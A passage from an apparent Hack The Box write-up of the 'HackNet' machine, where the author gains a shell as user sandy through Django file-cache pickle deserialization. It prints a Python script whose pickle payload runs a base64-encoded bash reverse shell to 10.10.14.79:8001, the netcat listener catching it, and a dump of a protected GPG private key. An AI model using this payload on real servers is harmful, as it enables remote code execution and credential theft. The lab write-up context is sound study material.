    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>After visiting <code class="language-plaintext highlighter-rouge">http://hacknet.htb/explore</code>, two <code class="language-plaintext highlighter-rouge">.djcache</code> files are created:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/tmp/django_cache</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 16
drwxrwxrwx 2 sandy www-data 4096 Dec 25 09:58 .
drwxrwxrwt 4 root  root     4096 Dec 25 00:00 ..
-rw------- 1 sandy www-data   34 Dec 25 09:58 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2618 Dec 25 09:58 90dbab8f3b1e54369abdeb4ba1efc106.djcache</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I don’t have permissions to read them, but it’s very likely pickle-serialized data based on this warning found in the <a href="https://docs.djangoproject.com/en/6.0/topics/cache/#filesystem-caching">docs</a>:</p>

<blockquote>
  <p>An attacker who gains access to the cache file can not only falsify HTML content, which your site will trust, but also remotely execute arbitrary code, as the data is serialized using pickle.</p>
</blockquote>

<h3 id="django-cache-deserialization">Django Cache Deserialization:</h3>

<p>I’ve covered pickle deserialization some time ago in the <a href="/devoops#pickle">DevOops writeup</a>. The context is somewhat different, but the process of generating the serialized data is mostly the same.</p>

<p>I’ll create <a href="https://github.com/ch3ng625/CTF-scripts/blob/main/HTB/HackNet/djcache_rce.py">this script</a> to generate the pickle payload:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">base64</span>
<span class="kn">import</span> <span class="n">pickle</span>

<span class="k">class</span> <span class="nc">exploit</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">echo </span><span class="si">{</span><span class="n">cmd</span><span class="si">}</span><span class="s"> | base64 -d | bash</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="nf">return </span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">payload</span><span class="p">,))</span>

<span class="n">LHOST</span> <span class="o">=</span> <span class="sh">"</span><span class="s">10.10.14.79</span><span class="sh">"</span>
<span class="n">LPORT</span> <span class="o">=</span> <span class="sh">"</span><span class="s">8001</span><span class="sh">"</span>

<span class="n">cmd_raw</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">/bin/bash -i &gt;&amp; /dev/tcp/</span><span class="si">{</span><span class="n">LHOST</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">LPORT</span><span class="si">}</span><span class="s"> 0&gt;&amp;1</span><span class="sh">"</span>
<span class="n">cmd_b64</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">cmd_raw</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">decode</span><span class="p">()</span>

<span class="n">pickle_payload</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="nf">exploit</span><span class="p">(</span><span class="n">cmd_b64</span><span class="p">))</span>

<span class="c1"># May need changing the file names
</span><span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">"</span><span class="s">/var/tmp/django_cache/1f0acfe7480a469402f1852f8313db86.djcache</span><span class="sh">"</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">pickle_payload</span><span class="p">)</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">"</span><span class="s">/var/tmp/django_cache/90dbab8f3b1e54369abdeb4ba1efc106.djcache</span><span class="sh">"</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">pickle_payload</span><span class="p">)</span>
</code></pre></div></div>
<p><br /></p>

<p>After running it on the box, the cache files are generated, this time owned by <code class="language-plaintext highlighter-rouge">mikey</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">python3 djcache_rce.py</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la /var/tmp/django_cache</span>

<span class="linux-output">total 16
drwxrwxrwx 2 sandy www-data 4096 Dec 25 11:26 .
drwxrwxrwt 4 root  root     4096 Dec 25 00:00 ..
-rw-r--r-- 1 mikey mikey     126 Dec 25 11:26 1f0acfe7480a469402f1852f8313db86.djcache
-rw-r--r-- 1 mikey mikey     126 Dec 25 11:26 90dbab8f3b1e54369abdeb4ba1efc106.djcache</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll start a <code class="language-plaintext highlighter-rouge">netcat</code> listener and reload the <code class="language-plaintext highlighter-rouge">/explore</code> page. A shell as <code class="language-plaintext highlighter-rouge">sandy</code> is immediately sent back.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.232.4] 50254
bash: cannot set terminal process group (2805): Inappropriate ioctl for device
bash: no job control in this shell
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">/var/www/HackNet</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1001(sandy) gid=33(www-data) groups=33(www-data)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-sandy">Escalation from <code class="language-plaintext highlighter-rouge">sandy</code>:</h2>
<h3 id="gpg-keys">GPG Keys:</h3>

<p><code class="language-plaintext highlighter-rouge">sandy</code>’s home directory has a <code class="language-plaintext highlighter-rouge">.gnupg/</code> folder:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 36
drwx------ 6 sandy sandy 4096 Sep 11 11:18 .
drwxr-xr-x 4 root  root  4096 Jul  3  2024 ..
lrwxrwxrwx 1 root  root     9 Sep  4 19:01 .bash_history -&gt; /dev/null
-rw-r--r-- 1 sandy sandy  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23  2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul  3  2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21  2024 .config
drwx------ 4 sandy sandy 4096 Sep  5 11:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul  3  2024 .local
lrwxrwxrwx 1 root  root     9 Aug  8  2024 .mysql_history -&gt; /dev/null
-rw-r--r-- 1 sandy sandy  808 Jul 11  2024 .profile
lrwxrwxrwx 1 root  root     9 Jul  3  2024 .python_history -&gt; /dev/null</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Inside, there’s <code class="language-plaintext highlighter-rouge">private-keys-v1.d/</code>, which contains several files.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la .gnupg</span>

<span class="linux-output">total 32
drwx------ 4 sandy sandy 4096 Sep  5 11:33 .
drwx------ 6 sandy sandy 4096 Sep 11 11:18 ..
drwx------ 2 sandy sandy 4096 Sep  5 11:33 openpgp-revocs.d
drwx------ 2 sandy sandy 4096 Sep  5 11:33 private-keys-v1.d
-rw-r--r-- 1 sandy sandy  948 Sep  5 11:33 pubring.kbx
-rw------- 1 sandy sandy   32 Sep  5 11:33 pubring.kbx~
-rw------- 1 sandy sandy  600 Sep  5 11:33 random_seed
-rw------- 1 sandy sandy 1280 Sep  5 11:33 trustdb.gpg</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la .gnupg/private-keys-v1.d</span>

<span class="linux-output">total 20
drwx------ 2 sandy sandy 4096 Sep  5 11:33 .
drwx------ 4 sandy sandy 4096 Sep  5 11:33 ..
-rw------- 1 sandy sandy 1255 Sep  5 11:33 0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
-rw------- 1 sandy sandy 2088 Sep  5 11:33 armored_key.asc
-rw------- 1 sandy sandy 1255 Sep  5 11:33 EF995B85C8B33B9FC53695B9A3B597B325562F4F.key</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Two of which are protected private keys.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">sandy@hacknet</span>:<span class="linux-path">~/.gnupg/private-keys-v1.d</span><span class="linux-char">$</span></span> <span class="linux-bash">cat 0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key</span>

<span class="linux-output">Created: 20241229T202032
Key: (protected-private-key (rsa (n #00EDFED38969BFACDCB65C63B0E99D350C
 656E6D336CAE0E23EE523D36D6B7601C9D67DBBC71B9FE45C30FB8712F6F87F27D91C8
 BFC1FEEF891867FA0A3FE2FB132359DA62C8F18258A422A98995F3FD5EE13FD84C1F7C
 C524F5B5B121F28E91FC66EA8E9CFE3A022CCEF9E2CF4E97A67369C593D17905D221CF
 1E23BAB4127FD5#)(e #010001#)(protected openpgp-s2k3-ocb-aes ((sha1
  #5DDB23AC1FFA8390# "117049344")#6D14AC53876650E78C5E967E#)#8094E4433E
 B218E340F965D584881EA1537535A4A727FF117E23D1000424DBC9509D94B9E2365186
 82990B33E8C5B922AFFF83DE1382FBDAA8B610529C82EAD3E22EDE9EB479CCA35D250E
 2E2ABB8B077333BE707C82FC7BA347DD79A4934D411AB58A61EE346648DA2A06665004
